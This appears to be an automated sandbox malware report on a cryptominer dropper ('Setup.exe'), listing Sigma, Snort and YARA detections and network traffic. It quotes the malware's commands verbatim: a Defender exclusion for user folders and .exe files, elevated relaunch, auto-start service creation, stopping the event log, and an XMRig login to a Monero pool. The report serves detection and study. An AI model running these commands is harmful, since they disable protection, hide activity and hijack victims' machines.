Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe, ParentProcessId: 6476, ParentProcessName: Setup.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 6520, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process "C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe" -Verb runAs, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process "C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe" -Verb runAs, CommandLine|base64offset|contains: J, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe, ParentProcessId: 1036, ParentProcessName: Setup.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process "C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe" -Verb runAs, ProcessId: 1836, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: C:\Windows\system32\dialer.exe, ParentImage: C:\Windows\System32\dialer.exe, ParentProcessId: 7144, ParentProcessName: dialer.exe, ProcessCommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, ProcessId: 972, ProcessName: svchost.exe

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\system32\sc.exe create "SXJAJUSN" binpath= "C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe" start= "auto", CommandLine: C:\Windows\system32\sc.exe create "SXJAJUSN" binpath= "C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe" start= "auto", CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe, ParentProcessId: 6476, ParentProcessName: Setup.exe, ProcessCommandLine: C:\Windows\system32\sc.exe create "SXJAJUSN" binpath= "C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe" start= "auto", ProcessId: 5388, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process "C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe" -Verb runAs, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process "C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe" -Verb runAs, CommandLine|base64offset|contains: J, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe, ParentProcessId: 1036, ParentProcessName: Setup.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process "C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe" -Verb runAs, ProcessId: 1836, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 656, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 72, ProcessName: svchost.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Stop EventLog

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\sc.exe stop eventlog, CommandLine: C:\Windows\system32\sc.exe stop eventlog, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe, ParentProcessId: 6476, ParentProcessName: Setup.exe, ProcessCommandLine: C:\Windows\system32\sc.exe stop eventlog, ProcessId: 1552, ProcessName: sc.exe

Snort Signatures

ETPRO TROJAN ELF/Mirai Variant CnC Checkin - Source IP: 192.168.2.14 - Destination IP: 45.144.165.227

Timestamp:	03/14/24-13:56:00.164561
SID:	2841335
Source Port:	59942
Destination Port:	22
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai Variant CnC Checkin - Source IP: 192.168.2.14 - Destination IP: 45.144.165.227

Timestamp:	03/14/24-13:56:02.320789
SID:	2841335
Source Port:	59948
Destination Port:	22
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai Variant CnC Checkin - Source IP: 192.168.2.14 - Destination IP: 45.144.165.227

Timestamp:	03/14/24-13:56:00.878567
SID:	2841335
Source Port:	59944
Destination Port:	22
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai Variant CnC Checkin - Source IP: 192.168.2.14 - Destination IP: 45.144.165.227

Timestamp:	03/14/24-13:56:01.594395
SID:	2841335
Source Port:	59946
Destination Port:	22
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe

Avira: detection malicious, Label: TR/AD.Nekark.ziece

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe

ReversingLabs: Detection: 95%

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 81.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000051.00000002.2453295770.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dialer.exe PID: 6444, type: MEMORYSTR

Detected Stratum mining protocol

Source: global traffic

TCP traffic: 192.168.2.16:49704 -> 44.196.193.227:10128 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"86squ9t9d3pxzxftqg52h4kwdgkdjcdq2e2mzvdq4o173yaikjighkzdrbsl62iggeaeqpqx8uebbpkw6a3jkswleuwryin","pass":"dn120723340","agent":"xmrig/6.19.3 (windows nt 10.0; win64; x64) libuv/1.38.0 msvc/2022","rigid":"","algo":["rx/0","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/upx2","cn/gpu","cn/1","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","panthera","argon2/chukwa","argon2/chukwav2","argon2/ninja","ghostrider"]}}.

Found strings related to Crypto-Mining

Source: dialer.exe, 00000051.00000002.2453295770.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: dialer.exe	String found in binary or memory: cryptonight-monerov7
Source: dialer.exe, 00000051.00000002.2453295770.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: dialer.exe, 00000051.00000002.2453295770.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: dialer.exe, 00000051.00000002.2453295770.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]
Source: dialer.exe, 00000051.00000002.2453295770.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]

Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.errorSYSTE source: svchost.exe, 00000057.00000002.2504659405.0000029D50218000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000057.00000000.1495352991.0000029D50213000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A58318b source: svchost.exe, 00000057.00000000.1495847365.0000029D50240000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000057.00000002.2554443428.0000029D5024F000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000057.00000000.1495639134.0000029D5022B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000057.00000002.2529023695.0000029D5022B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: _prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2* source: svchost.exe, 00000057.00000000.1495847365.0000029D50240000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000057.00000002.2554443428.0000029D5024F000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\wctA360.tmp.pdb\* source: svchost.exe, 00000057.00000000.1496050809.0000029D5025A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\acrobat_sbx.pdb source: svchost.exe, 00000057.00000000.1496050809.0000029D5025A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: svchost.exe, 00000057.00000000.1496050809.0000029D5025A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\wctA360.tmp.pdb source: svchost.exe, 00000057.00000000.1496050809.0000029D5025A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: svchost.exe, 00000057.00000000.1496050809.0000029D5025A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: "@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb001\* source: svchost.exe, 00000057.00000000.1496050809.0000029D5025A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: (@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb* source: svchost.exe, 00000057.00000000.1496050809.0000029D5025A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: svchost.exe, 00000057.00000000.1495847365.0000029D50240000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000057.00000002.2554443428.0000029D5024F000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: jnxsifnrdetl.exe, 00000035.00000003.1466293932.0000026FC3DC0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000057.00000000.1495639134.0000029D5022B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000057.00000002.2529023695.0000029D5022B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2AC2 source: svchost.exe, 00000057.00000000.1495847365.0000029D50240000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000057.00000002.2554443428.0000029D5024F000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000057.00000000.1495847365.0000029D50240000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000057.00000002.2554443428.0000029D5024F000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: "@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000057.00000002.2581903644.0000029D50263000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000057.00000000.1496050809.0000029D5025A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000057.00000000.1495639134.0000029D5022B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000057.00000002.2529023695.0000029D5022B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831-B09 source: svchost.exe, 00000057.00000000.1495847365.0000029D50240000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000057.00000002.2554443428.0000029D5024B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdbll source: svchost.exe, 00000057.00000000.1495639134.0000029D5022B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000057.00000002.2529023695.0000029D5022B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: (@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdbll source: svchost.exe, 00000057.00000000.1495639134.0000029D5022B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000057.00000002.2529023695.0000029D5022B000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Windows\System32\dasHost.exe

Code function: 131_2_000002809238DCE0 FindFirstFileExW,

131_2_000002809238DCE0

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2841335 ETPRO TROJAN ELF/Mirai Variant CnC Checkin 192.168.2.14:59942 -> 45.144.165.227:22
Source: Traffic	Snort IDS: 2841335 ETPRO TROJAN ELF/Mirai Variant CnC Checkin 192.168.2.14:59944 -> 45.144.165.227:22
Source: Traffic	Snort IDS: 2841335 ETPRO TROJAN ELF/Mirai Variant CnC Checkin 192.168.2.14:59946 -> 45.144.165.227:22
Source: Traffic	Snort IDS: 2841335 ETPRO TROJAN ELF/Mirai Variant CnC Checkin 192.168.2.14:59948 -> 45.144.165.227:22

Source: global traffic

TCP traffic: 192.168.2.16:49704 -> 44.196.193.227:10128

Source: Joe Sandbox View	IP Address: 72.21.81.240 72.21.81.240
Source: Joe Sandbox View	IP Address: 44.196.193.227 44.196.193.227

Source: Joe Sandbox View

ASN Name: AMAZON-AESUS AMAZON-AESUS

Source: unknown	TCP traffic detected without corresponding DNS query: 72.21.81.240
Source: unknown	TCP traffic detected without corresponding DNS query: 72.21.81.240
Source: unknown	TCP traffic detected without corresponding DNS query: 72.21.81.240
Source: unknown	TCP traffic detected without corresponding DNS query: 72.21.81.240
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: unknown

DNS traffic detected: queries for: gulf.moneroocean.stream

Source: lsass.exe, 00000031.00000002.2692346869.000001BA8E220000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000000.1408938613.000001BA8E200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: lsass.exe, 00000031.00000000.1409136630.000001BA8E23D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000002.2713705631.000001BA8E29E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000002.2700477885.000001BA8E283000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000000.1409358052.000001BA8E28A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: lsass.exe, 00000031.00000002.2736247539.000001BA8E3E1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000000.1409782436.000001BA8E3CB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000002.2713705631.000001BA8E29B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000002.2713705631.000001BA8E297000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000000.1409358052.000001BA8E28A000.00000004.00000001.00020000.00000000.sdmp, OfficeClickToRun.exe, 00000074.00000000.1700658907.000001570B606000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B
Source: lsass.exe, 00000031.00000000.1409358052.000001BA8E28A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG3.crt0
Source: lsass.exe, 00000031.00000002.2692346869.000001BA8E220000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000000.1408938613.000001BA8E200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2SecureServerCA-2.crt0
Source: jnxsifnrdetl.exe, 00000035.00000003.1466293932.0000026FC3DC0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
Source: jnxsifnrdetl.exe, 00000035.00000003.1466293932.0000026FC3DC0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/Root.crl0
Source: jnxsifnrdetl.exe, 00000035.00000003.1466293932.0000026FC3DC0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/RootSignPartners.crl0
Source: jnxsifnrdetl.exe, 00000035.00000003.1466293932.0000026FC3DC0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/primobject.crl0
Source: svchost.exe, 00000002.00000002.1398746540.0000016359062000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: lsass.exe, 00000031.00000002.2692346869.000001BA8E220000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000000.1408938613.000001BA8E200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: lsass.exe, 00000031.00000002.2736247539.000001BA8E3E1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000000.1409782436.000001BA8E3CB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000002.2713705631.000001BA8E29B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000002.2713705631.000001BA8E297000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000000.1409358052.000001BA8E28A000.00000004.00000001.00020000.00000000.sdmp, OfficeClickToRun.exe, 00000074.00000000.1700658907.000001570B606000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0
Source: lsass.exe, 00000031.00000000.1409136630.000001BA8E23D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000002.2713705631.000001BA8E29E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000002.2700477885.000001BA8E283000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000000.1409358052.000001BA8E28A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: lsass.exe, 00000031.00000000.1409358052.000001BA8E28A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG3.crl07
Source: lsass.exe, 00000031.00000000.1408938613.000001BA8E200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigicertSHA2SecureServerCA-1.crl0?
Source: lsass.exe, 00000031.00000002.2692346869.000001BA8E220000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000000.1408938613.000001BA8E200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiC
Source: lsass.exe, 00000031.00000000.1408938613.000001BA8E200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: lsass.exe, 00000031.00000000.1409136630.000001BA8E23D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000002.2713705631.000001BA8E29E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000002.2700477885.000001BA8E283000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000000.1409358052.000001BA8E28A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: lsass.exe, 00000031.00000000.1409358052.000001BA8E28A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG3.crl0
Source: lsass.exe, 00000031.00000000.1408938613.000001BA8E200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigicertSHA2SecureServerCA-1.crl0
Source: svchost.exe, 00000069.00000000.1576416010.000001B311C96000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.w
Source: lsass.exe, 00000031.00000002.2659566774.000001BA8DA8B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000000.1407822225.000001BA8DA89000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: lsass.exe, 00000031.00000000.1409136630.000001BA8E23D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000002.2700477885.000001BA8E23D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000006F.00000000.1619903394.000001F22BA13000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000006F.00000000.1620429839.000001F22BA41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000006F.00000000.1622306834.000001F22BACB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 0000006F.00000000.1620180473.000001F22BA2B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabe.com749
Source: svchost.exe, 0000006F.00000000.1621428719.000001F22BA8C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000006F.00000000.1623512155.000001F22C314000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab
Source: svchost.exe, 0000006F.00000000.1622306834.000001F22BACB000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000006F.00000000.1621145967.000001F22BA7B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/pinrulesstl.cab
Source: svchost.exe, 0000006F.00000000.1621793217.000001F22BAA2000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000006F.00000003.1650296288.000001F22BAC2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/pinrulesstl.cab?3ff322c87bb41
Source: svchost.exe, 0000006F.00000000.1620180473.000001F22BA2B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/pinrulesstl.cabD9749
Source: lsass.exe, 00000031.00000000.1407322100.000001BA8DA2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702
Source: lsass.exe, 00000031.00000000.1407435054.000001BA8DA4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000002.2630628617.000001BA8DA4F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512
Source: lsass.exe, 00000031.00000000.1407322100.000001BA8DA2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: svchost.exe, 00000069.00000000.1575539204.000001B311C2A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000069.00000002.2509671154.000001B311C2A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/update2/iqmnfy5ub2wrt6itb67uu4wcci_1.3.36.372/GoogleUpdate
Source: svchost.exe, 00000058.00000000.1524557813.000002AB7F184000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: svchost.exe, 0000006F.00000000.1621428719.000001F22BA8C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ
Source: svchost.exe, 0000006F.00000000.1620429839.000001F22BA41000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uN
